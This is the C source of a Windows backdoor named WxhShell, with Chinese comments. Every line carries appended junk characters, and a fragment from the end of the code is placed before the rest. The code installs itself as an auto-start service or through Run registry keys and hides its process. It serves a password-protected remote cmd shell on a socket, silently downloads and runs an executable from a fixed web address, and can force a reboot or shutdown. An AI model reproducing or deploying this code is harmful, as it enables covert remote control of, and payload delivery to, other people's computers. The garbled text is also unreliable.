    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$uj(y>  
    else { z8PV&o  
    closesocket(wsh); W%#LHluP  
    ExitThread(0); M;0\fUh;  
    } ':T"nORC  
    break; ?=Mg"QU  
    } M[=sQnnSFW  
  // 获取shell G^\.xk]  
  case 's': { g$Ns u:L  
    CmdShell(wsh); 73E[O5?b  
    closesocket(wsh); ~0{F,R.$  
    ExitThread(0); S'q4va"  
    break; $0;Dk,  
  } 1FRpcE  
  // 退出 e]l.m!,r  
  case 'x': { {y>Kcfc/?E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ur/:aI  
    CloseIt(wsh); @IBU{{  
    break; 1,sD'iNb  
    } @0%^\Qf2  
  // 离开 TUR2|J@n  
  case 'q': { 2{-'`l fM%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y]%Io]!d  
    closesocket(wsh); )G$0:-J-  
    WSACleanup(); M7AUY#)  
    exit(1); ::k/hP9.^  
    break; sHMZ'9b  
        } H|B4.z  
  } :YN,cId*  
  } %R*-oQ1T  
yLCJSN$7  
  // 提示信息 9jt+PII  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =MMSmu5!  
} <o_(,,P%  
  } :#spL*FIx  
7cT ~u  
  return; _O>8jH!#  
} dmE.yVI"O  
?(j:F2dU~  
// shell模块句柄 r(/+- t  
int CmdShell(SOCKET sock) Lc13PTz>>g  
{ oyo V1jO  
STARTUPINFO si; Z|$OPMLX  
ZeroMemory(&si,sizeof(si)); }JBLzk5|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {o.i\"x;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +# tmsv]2  
PROCESS_INFORMATION ProcessInfo; VH$hQPP5d  
char cmdline[]="cmd"; ]s:%joj%^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #vvQ 1ub  
  return 0; ;*8,PV0b_<  
} mA']*)L1  
8 gzf$Oc  
// 自身启动模式 p EbyQ[  
int StartFromService(void) S9S%7pE  
{ xy1R_*.F^T  
typedef struct y[sO0u\  
{ G>c:+`KS  
  DWORD ExitStatus; ,hXhcfFl  
  DWORD PebBaseAddress; Ln5g"g8gb%  
  DWORD AffinityMask; #x5?RHX56  
  DWORD BasePriority; 5KDN8pJN  
  ULONG UniqueProcessId; "\M^jO  
  ULONG InheritedFromUniqueProcessId; S -KHot ?  
}   PROCESS_BASIC_INFORMATION; >-Q=o,cl%3  
A"~4|`W  
PROCNTQSIP NtQueryInformationProcess; {Zy)p%j8  
IH~[/qNk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'nh^'i&0.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Z5Twb3h  
^N:bT;;$nZ  
  HANDLE             hProcess; Q !G^CG  
  PROCESS_BASIC_INFORMATION pbi; 6'1m3<G_  
nf9NJ_8}4H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B1Cu?k);.  
  if(NULL == hInst ) return 0; l|&DI]gw  
0P_3%   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^5BQ=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \J,pV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O4A{GO^q  
&S+o oj  
  if (!NtQueryInformationProcess) return 0; Ow4H7 sl  
X[KHI1@w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o+^5W  
  if(!hProcess) return 0; %6@->c{  
JP*VR=0k?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dw]jF=u  
._IBO;*@  
  CloseHandle(hProcess); hTVA^j(w  
r;c ILS|Xr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 79O'S du@  
if(hProcess==NULL) return 0; VgyY7INx9  
<m X EX`?  
HMODULE hMod; x l4A<  
char procName[255]; Pmj%QhOYE  
unsigned long cbNeeded; +1=]93gP  
2Bg0 M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y ]6kA5  
`PApmS~} .  
  CloseHandle(hProcess); Vmf !0-  
/[RO>Z9  
if(strstr(procName,"services")) return 1; // 以服务启动 8Xjp5  
2\J-7o=P  
  return 0; // 注册表启动 $|%BaEyk  
} r>ca17  
#cy;((zuB  
// 主模块 NANgV~Y&  
int StartWxhshell(LPSTR lpCmdLine) k~=_]sLn  
{ *'jI>^o  
  SOCKET wsl; 5VR=D\j  
BOOL val=TRUE; qz6@'1  
  int port=0; G  Ps//  
  struct sockaddr_in door; ;2jH;$HZ  
/Mmts=^Ja  
  if(wscfg.ws_autoins) Install(); Y~[k_!  
5Gw B1}q  
port=atoi(lpCmdLine); pa8R;A70Dl  
hX9vtV5L  
if(port<=0) port=wscfg.ws_port; H^r;,Q$9  
*\PCMl  
  WSADATA data; S@Q4fmH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #)PAvBJ;m  
>JckN4 v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {~cM 6W]f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :ExCGS[  
  door.sin_family = AF_INET; zqt{oN_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sahz*f  
  door.sin_port = htons(port); 9qvKg`YSh  
r: -,qy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % "CF-K@th  
closesocket(wsl); f'?FYBL  
return 1; *9O@DF&*6  
} <b#1L  
@Z2^smf  
  if(listen(wsl,2) == INVALID_SOCKET) { L| K8  
closesocket(wsl); zW9/[Db  
return 1; &ku.Q3xGs  
} +nU=)x?38  
  Wxhshell(wsl); ~ NZC0&  
  WSACleanup(); IB\O[R$x  
}NpN<C+  
return 0; wlsq[x P  
0 n}2D7  
} ,y}@I"  
^ZPynduR  
// 以NT服务方式启动 #bCQEhCy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d`9ofw~3=  
{ z,xGjS P  
DWORD   status = 0; :Fh#"<A&&  
  DWORD   specificError = 0xfffffff; l#bE_PD;  
BHNEP |=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MmQ"z_v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 F> a&r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cm%|hk>fQ  
  serviceStatus.dwWin32ExitCode     = 0; ,4--3 MU  
  serviceStatus.dwServiceSpecificExitCode = 0; GW,RE\Q:  
  serviceStatus.dwCheckPoint       = 0; <\`qRz0/  
  serviceStatus.dwWaitHint       = 0; "el}9OitC  
~1:_w ni  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^2C \--=;  
  if (hServiceStatusHandle==0) return; yIYQ.-DkS+  
MnTJFo"  
status = GetLastError(); !q!5D`  
  if (status!=NO_ERROR) h,|. qfUk  
{ >["X( %&w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9Nial`p  
    serviceStatus.dwCheckPoint       = 0; <%?!3 n*  
    serviceStatus.dwWaitHint       = 0; *3\N j6  
    serviceStatus.dwWin32ExitCode     = status; QERj`/g  
    serviceStatus.dwServiceSpecificExitCode = specificError; w:aV2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A9Icn>3?`(  
    return; F[KM0t!  
  } `G:I|=#w  
bJoP@s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +$$5Cv5#<&  
  serviceStatus.dwCheckPoint       = 0; &lnM 1W  
  serviceStatus.dwWaitHint       = 0; $O_{cSKg7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ftxy]N LF  
} 9";qR,  
21[=xboU  
// 处理NT服务事件,比如:启动、停止 d.yATP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) of8 >xvE|  
{ ]w_JbFmT  
switch(fdwControl) QD^q\9U[  
{ (;9j#x  
case SERVICE_CONTROL_STOP: hip't@.uE  
  serviceStatus.dwWin32ExitCode = 0; >u+%H vzc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |eI!wgQx  
  serviceStatus.dwCheckPoint   = 0; wC?>,LOl  
  serviceStatus.dwWaitHint     = 0; uj:1_&g  
  { -% \LW1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B$ jX%e{:S  
  } w8cbhc  
  return; |[!7^tU*  
case SERVICE_CONTROL_PAUSE: V3(8?Fz.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~S\8 '  
  break; 5a&BgBO1M  
case SERVICE_CONTROL_CONTINUE: y({lE3P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pi5DDK  
  break; [<WoXS1LX  
case SERVICE_CONTROL_INTERROGATE: dkg| kw'  
  break; uCoy~kt292  
}; L~Y^O`c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @,m 7%,  
} B#r"|x#[  
$8}'h  
// 标准应用程序主函数 gg/2R?O]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rvuasr~  
{ =q}Z2 OoYh  
HCT+.n6  
// 获取操作系统版本 u#UtPF7q  
OsIsNt=GetOsVer(); 7%Ou6P$^fr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?x/Lb*a^  
UCj{ &  
  // 从命令行安装 fp}5QUm-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 57KrDxE}  
yz"hU  
  // 下载执行文件 NMS+'GRW  
if(wscfg.ws_downexe) { YC(X= D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?&!e f {  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,Xxp]*K2  
} 3wg1wl|  
6O_l;A[=1  
if(!OsIsNt) { NOmFQ)/ &  
// 如果时win9x,隐藏进程并且设置为注册表启动 rl,i,1t  
HideProc(); _nM 7SK  
StartWxhshell(lpCmdLine); | {Q}:_/q  
} 3YG%YhevO  
else $,B;\PX  
  if(StartFromService()) q07H{{h/B  
  // 以服务方式启动 a"l\_D'.K8  
  StartServiceCtrlDispatcher(DispatchTable); yKy )%i  
else k"|Fu   
  // 普通方式启动 GI@;76Qf  
  StartWxhshell(lpCmdLine); C3'?E<F  
izzX$O[=:  
return 0; Tgl >  
} PS8^=  
AH-BZ8  
U>sEFzBup  
eD8e0 D'S  
=========================================== gVrfZ&XF84  
!hjF"Pa  
rZWs-]s6t  
Ckc5;:b&m  
kj6H+@ {  
#lO ^PK  
" %|j8#09  
A/{!w"G  
#include <stdio.h> X]o"4#CQIX  
#include <string.h> a?xZsR  
#include <windows.h> PEMBh?)g  
#include <winsock2.h> dL_9/f4   
#include <winsvc.h> M2\c0^R  
#include <urlmon.h> I E{:{b\  
\}~71y}  
#pragma comment (lib, "Ws2_32.lib") 34Cnbtq^  
#pragma comment (lib, "urlmon.lib") P&Uj?et"  
)x~ /qHt  
#define MAX_USER   100 // 最大客户端连接数 %w?C)$Kn\  
#define BUF_SOCK   200 // sock buffer WZTAXOw  
#define KEY_BUFF   255 // 输入 buffer FmFjRYA W  
J~n|5* cz  
#define REBOOT     0   // 重启 r`\@Fv,&#  
#define SHUTDOWN   1   // 关机 fjy7gC2  
[jksOC)@4  
#define DEF_PORT   5000 // 监听端口 9s*QHCB0  
 Q7-iy  
#define REG_LEN     16   // 注册表键长度 !l]_c 5  
#define SVC_LEN     80   // NT服务名长度 yZN~A:  
!K0 U..  
// 从dll定义API i]OEhB Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $E.Fgy:G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hiEYIx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mkhWbzD'S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _8!x  
0X4)=sJP  
// wxhshell配置信息 3y,2RernK  
struct WSCFG { @biU@[D  
  int ws_port;         // 监听端口 ~KV{m  
  char ws_passstr[REG_LEN]; // 口令 *nc3A[B#C  
  int ws_autoins;       // 安装标记, 1=yes 0=no f'w`<  
  char ws_regname[REG_LEN]; // 注册表键名 &H P g>  
  char ws_svcname[REG_LEN]; // 服务名 z~==7:Os  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E-($Xc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <EQaYZY=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z;y{QO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s;..a&C'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R7K`9 c1f6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fq_>}k@fI  
,L lYRj 5  
}; uE<8L(*B  
^B%c3U$o  
// default Wxhshell configuration 00{a }@n  
struct WSCFG wscfg={DEF_PORT, B:Ft(,  
    "xuhuanlingzhe", Pouo# 5  
    1, 1)jea wVmj  
    "Wxhshell", 8a&c=9  
    "Wxhshell", `6lOqH  
            "WxhShell Service", ^G2M4+W|  
    "Wrsky Windows CmdShell Service", SM%/pu;  
    "Please Input Your Password: ", D.Cn`O}  
  1, 3l,-n|x  
  "http://www.wrsky.com/wxhshell.exe", *8uS,s6g  
  "Wxhshell.exe" ecQ{ePoU  
    }; r d-yqdJ  
g{i= $xc  
// 消息定义模块 5IOGH*'U8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; em5~4;&'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e&*b{>1*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tW94\3)1  
char *msg_ws_ext="\n\rExit."; =mF"D:s*  
char *msg_ws_end="\n\rQuit."; >3pT).wH|M  
char *msg_ws_boot="\n\rReboot..."; TOF V`7q;3  
char *msg_ws_poff="\n\rShutdown..."; RwYFBc  
char *msg_ws_down="\n\rSave to "; ?{jey_]M  
&3;"$P  
char *msg_ws_err="\n\rErr!"; #oFyi @U  
char *msg_ws_ok="\n\rOK!"; YM6 J:89  
FRajo~H  
char ExeFile[MAX_PATH]; )QRT/, ;c  
int nUser = 0; }mzd23^W>P  
HANDLE handles[MAX_USER]; |Olz h63k:  
int OsIsNt; `/'p1?Z"  
1G.?Y3DC<  
SERVICE_STATUS       serviceStatus; Z^z{, u;!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2~l7WW+lx,  
I>JE\## ^n  
// 函数声明 rsLkH&aM  
int Install(void); PH%'^YAl7  
int Uninstall(void); #ACT&J  
int DownloadFile(char *sURL, SOCKET wsh); sW'_K.z  
int Boot(int flag); [7d(P EQL`  
void HideProc(void); p5tb=Zg_  
int GetOsVer(void); (QL:7  
int Wxhshell(SOCKET wsl); zi3v, Kq  
void TalkWithClient(void *cs); L\UGC%]9  
int CmdShell(SOCKET sock); }A,!|m4  
int StartFromService(void); 1#%H!GKvTU  
int StartWxhshell(LPSTR lpCmdLine); ot[ZFF\  
AIY 1sSK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *4NY"EwjN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +Ugy=678Tr  
LU+SuVm  
// 数据结构和表定义 Bpm COA  
SERVICE_TABLE_ENTRY DispatchTable[] = WW{_D  
{ '*65j  
{wscfg.ws_svcname, NTServiceMain}, dKCl#~LAI'  
{NULL, NULL} 3)ox8,{%}  
}; 7<*0fy5nn  
_z8"r&  
// 自我安装 VFx[{Hy  
int Install(void) li v=q  
{ CHZ/@gc  
  char svExeFile[MAX_PATH]; }e/vKW fT  
  HKEY key; c0o Z7)*}  
  strcpy(svExeFile,ExeFile); VevG 64o  
 6?*Do  
// 如果是win9x系统,修改注册表设为自启动 D_0sXIbg  
if(!OsIsNt) { ybqmPT'|_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )W>$_QxbN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T#i;=NP"  
  RegCloseKey(key); x {Utf$|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  nOd;Zw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XHj%U  
  RegCloseKey(key); M!5=3>Z  
  return 0; Dy,MQIM|!  
    } f=}T^Z<  
  } aJf3rHX  
} u"(NN9s  
else { n44 T4q  
!j`<iPI7B  
// 如果是NT以上系统,安装为系统服务 UkpTK8>&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *]NfT}}  
if (schSCManager!=0) /;+\6(+X  
{ fdX|t "oz  
  SC_HANDLE schService = CreateService ][tR=Y#&y5  
  ( hU-FSdR  
  schSCManager, !reOYt|  
  wscfg.ws_svcname, =pi,]m  
  wscfg.ws_svcdisp, NfPWcK [  
  SERVICE_ALL_ACCESS, MD;Z UAX<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fh3uo\`@  
  SERVICE_AUTO_START, w(aj'i  
  SERVICE_ERROR_NORMAL, L(K 5f7\  
  svExeFile, R&;x_4dr^  
  NULL, GiX3c^V"1  
  NULL, MGMJeq vr  
  NULL, {*F =&D  
  NULL, 9x!kvB6  
  NULL ^.iRU'{  
  ); bRyxP2  
  if (schService!=0) ym%` l!  
  { 1E / G+pm  
  CloseServiceHandle(schService); qpjZ-[UC  
  CloseServiceHandle(schSCManager); U m\HX6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .=Oww  
  strcat(svExeFile,wscfg.ws_svcname); A03io8D6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EjFpQ|-L|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vm\zLWNB  
  RegCloseKey(key); ukEJD3i  
  return 0; ;lb  
    } PNo:[9`S;m  
  } =E]tEi  
  CloseServiceHandle(schSCManager); $;G<!]& s  
} He'VqUw_  
} 5NUaXQ  
l$\B>u,>  
return 1; N,rd= m+  
} J-'XT_k:iM  
J/K~8s c  
// 自我卸载 1}Q9y`65  
int Uninstall(void) &.DRAD)  
{ 7r' _p$  
  HKEY key; rf|Nu3AJ  
ru2M"]T  
if(!OsIsNt) { ,M?8s2?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u8KQV7E  
  RegDeleteValue(key,wscfg.ws_regname); Dt[+HCCY:  
  RegCloseKey(key); -.? @f tY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b<4nljbx  
  RegDeleteValue(key,wscfg.ws_regname); !`H{jwH  
  RegCloseKey(key); /"st sF  
  return 0; jQm~F` z  
  } >Rt:8uurAG  
} ~Yg) 8  
} +@!\3a4!  
else { fXWE4^jU  
)'f=!'X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -r<8mL:yW  
if (schSCManager!=0) $Ugc:L<h+  
{ #~/9cVm$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (nq""kO6'  
  if (schService!=0) .6$=]hdAp  
  { Uv>e :U7;  
  if(DeleteService(schService)!=0) { %i3[x.M  
  CloseServiceHandle(schService); %.f%Q?P  
  CloseServiceHandle(schSCManager); |wv+g0]Pg^  
  return 0; mxF+Fp~  
  } PVF :p7  
  CloseServiceHandle(schService); B*O/>=_  
  } ~<<32t'S:  
  CloseServiceHandle(schSCManager); y `FZ 0FI  
} :Bt,.uN C  
} W[DoQ @q  
1aS:bFi`  
return 1; nlhv  
} WO9vOS>  
OAs>F"  
// 从指定url下载文件 >Tl/3{V  
int DownloadFile(char *sURL, SOCKET wsh) " ]G'^  
{ 2;>uP#1]  
  HRESULT hr; h%u!UHA  
char seps[]= "/"; +J C"@  
char *token; '@+q_v@Jl  
char *file; Ew{*)r)m  
char myURL[MAX_PATH]; v&;JVai  
char myFILE[MAX_PATH]; BC_<1 c  
;}f {o^]'  
strcpy(myURL,sURL); ~= c 5q  
  token=strtok(myURL,seps); bws}'#-*  
  while(token!=NULL) zE1=P/N  
  { iR9duP+  
    file=token; xg, 9~f[  
  token=strtok(NULL,seps); ob/<;SrU<  
  }  24 [cU  
J`0dF<<{[y  
GetCurrentDirectory(MAX_PATH,myFILE); ZDzG8E0Sq  
strcat(myFILE, "\\"); r vq{Dfo=  
strcat(myFILE, file); V6d,}Z+"z'  
  send(wsh,myFILE,strlen(myFILE),0); >f Hu  
send(wsh,"...",3,0);  "O9n|B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HxW/t7Z(  
  if(hr==S_OK) l lcq~*zz  
return 0; RAu(FJ  
else '[8w8,v(  
return 1; Q~ Ad{yC  
z.RM85?T  
} -a>CF^tH  
:}fA98S  
// 系统电源模块 (D?4*9 =  
int Boot(int flag) VByA6^JR  
{ ;Dp*.YJ  
  HANDLE hToken; TAOsg0  
  TOKEN_PRIVILEGES tkp; ;PG= 3j_  
vv2[t  
  if(OsIsNt) { }jC^&%|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E A55!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !mqIq} h  
    tkp.PrivilegeCount = 1; X=f%!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ws2?sn#x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vs+aUT C\  
if(flag==REBOOT) { lY@2$q9BT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `5oXf  
  return 0; 2i #Ekon  
} 4zhh **]B  
else { 2f%+1uU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C :sgT6  
  return 0; %wru)  
} . 4RU'9M  
  } NpM;vO  
  else { tMP"9JE,  
if(flag==REBOOT) { Oh10X.)i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o-&0_Zq_  
  return 0; YR/I<m`]}  
} r7V !M1  
else { -{Ar5) ?='  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GSSmlJ`  
  return 0; di+ |` O  
} |%|Vlu  
} x;:jF_  
ADOA&r[  
return 1; A2L"&dl  
} ^+d]'$  
tK uJ &I~  
// win9x进程隐藏模块 ~@Bw(!  
void HideProc(void) lcEK&AtK  
{  LDU4 D  
bFL2NH5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =(\BM')l  
  if ( hKernel != NULL ) M6A0D+08  
  { tmBt[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iyR"O1]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9dAtQwGR"6  
    FreeLibrary(hKernel); pQc-}o"  
  } {"$ [MYi:  
JJg;X :p  
return; M,kO7g  
} 6!itr"  
]LxE#R5V  
// 获取操作系统版本 Ja&S_'P[  
int GetOsVer(void) KlS#f  
{ GB}=  
  OSVERSIONINFO winfo; dP_bFUzg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sz/^Ie-~  
  GetVersionEx(&winfo); W?wt$'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (`#z@,1  
  return 1; :t "_I  
  else 9(!AKKrr;  
  return 0; ^[bFGKE  
} -O1$jBQ S  
!"RRw&0M  
// 客户端句柄模块 -(lP8Y~gFY  
int Wxhshell(SOCKET wsl) kmu`sk"  
{ 9I<~t@q5e@  
  SOCKET wsh; }!Pty25j  
  struct sockaddr_in client; umnQ$y 0  
  DWORD myID; OR $i,N|  
ue+{djz[4  
  while(nUser<MAX_USER) &\cS{35  
{ t54?<-  
  int nSize=sizeof(client); 2,g4yXws5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .:Sk=r4u\  
  if(wsh==INVALID_SOCKET) return 1; [7 r^fD A  
tq'ri-c&b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /uR/,R++  
if(handles[nUser]==0) k#\j\t-  
  closesocket(wsh); Eld[z{n"  
else l.g.O>1   
  nUser++; \Z42EnJ  
  } `s UY$Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `[}X_d 1A  
}><[6Uz%  
  return 0; IqepR >5t  
} PXtF#,roP  
3X DU(#  
// 关闭 socket ~G=E Q]a  
void CloseIt(SOCKET wsh) v)gMNzt  
{ 6=,zkU*i ^  
closesocket(wsh); -$g~,dIwj  
nUser--; xb0,dZb  
ExitThread(0); #%E^cGfY  
} ),Yk53G6c  
P?|\Ig1Gk  
// 客户端请求句柄 ?mK&Slh.  
void TalkWithClient(void *cs) 3pW4Ul@e  
{ Qmo}esb'(  
#QcRN?s  
  SOCKET wsh=(SOCKET)cs; GRofOJ  
  char pwd[SVC_LEN]; jgPUR#)  
  char cmd[KEY_BUFF]; MXEI/mDYK  
char chr[1]; Oi^cs=}  
int i,j; ibwV #6  
 |xg#Q`O  
  while (nUser < MAX_USER) { q I~*G3  
yoF*yUls^E  
if(wscfg.ws_passstr) { sSGXd=":  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x6!Q''f7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * ]bB7  
  //ZeroMemory(pwd,KEY_BUFF); Qhc; Zl  
      i=0; J#i7'9g  
  while(i<SVC_LEN) { _Ds,91<muQ  
y`7<c5zD  
  // 设置超时 6dz^%Ub  
  fd_set FdRead; Ac|dmu  
  struct timeval TimeOut; %t!S 7UD  
  FD_ZERO(&FdRead); "sDs[Lcq  
  FD_SET(wsh,&FdRead); \~Z%}$ =  
  TimeOut.tv_sec=8; 'yA/sZ  
  TimeOut.tv_usec=0; V'Kied+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~$[fG}C.K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q^zG+FN  
-gba&B+D"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MVvBd3  
  pwd=chr[0]; Tl[*(| /C  
  if(chr[0]==0xd || chr[0]==0xa) { f#GMJ mCQs  
  pwd=0; hjFht+j1  
  break; 7D:rq 8$\  
  } C^B$_?  
  i++; (&v|,.c^)1  
    } nIfAG^?|*  
F |5Au>t  
  // 如果是非法用户,关闭 socket S|LY U!IWZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $^?VyHXvY  
} _JNYvng m  
r`EjD}2d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F?H=2mzKbz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &zEBfr  
U\j g X  
while(1) { u1#(~[.  
<?!'  
  ZeroMemory(cmd,KEY_BUFF); jg{2Sxf!c  
4`:POu&  
      // 自动支持客户端 telnet标准   wJq$yqos{  
  j=0; Tt{z_gU6  
  while(j<KEY_BUFF) { !|u?z%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3^ y<Db  
  cmd[j]=chr[0]; 2@2d |  
  if(chr[0]==0xa || chr[0]==0xd) { Dg0rVV6c  
  cmd[j]=0; [' pO=ho  
  break; ty[p5%L1  
  } MOCcp s*  
  j++; 0wV9Trp  
    } g%[:wjV;  
/w5*R5B{  
  // 下载文件 z,SI  
  if(strstr(cmd,"http://")) { 5n}<V-yJ*m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )mBYW}} T  
  if(DownloadFile(cmd,wsh)) c6c@ Xd V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gs3V]qbEP  
  else h| wdx(4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eh]sye KBj  
  } g\.$4N  
  else { -PSgBH[  
$*%,  
    switch(cmd[0]) { T7.SjR6X>  
  Jx}-Y* o  
  // 帮助 j_<!y(W  
  case '?': { "P(obk  
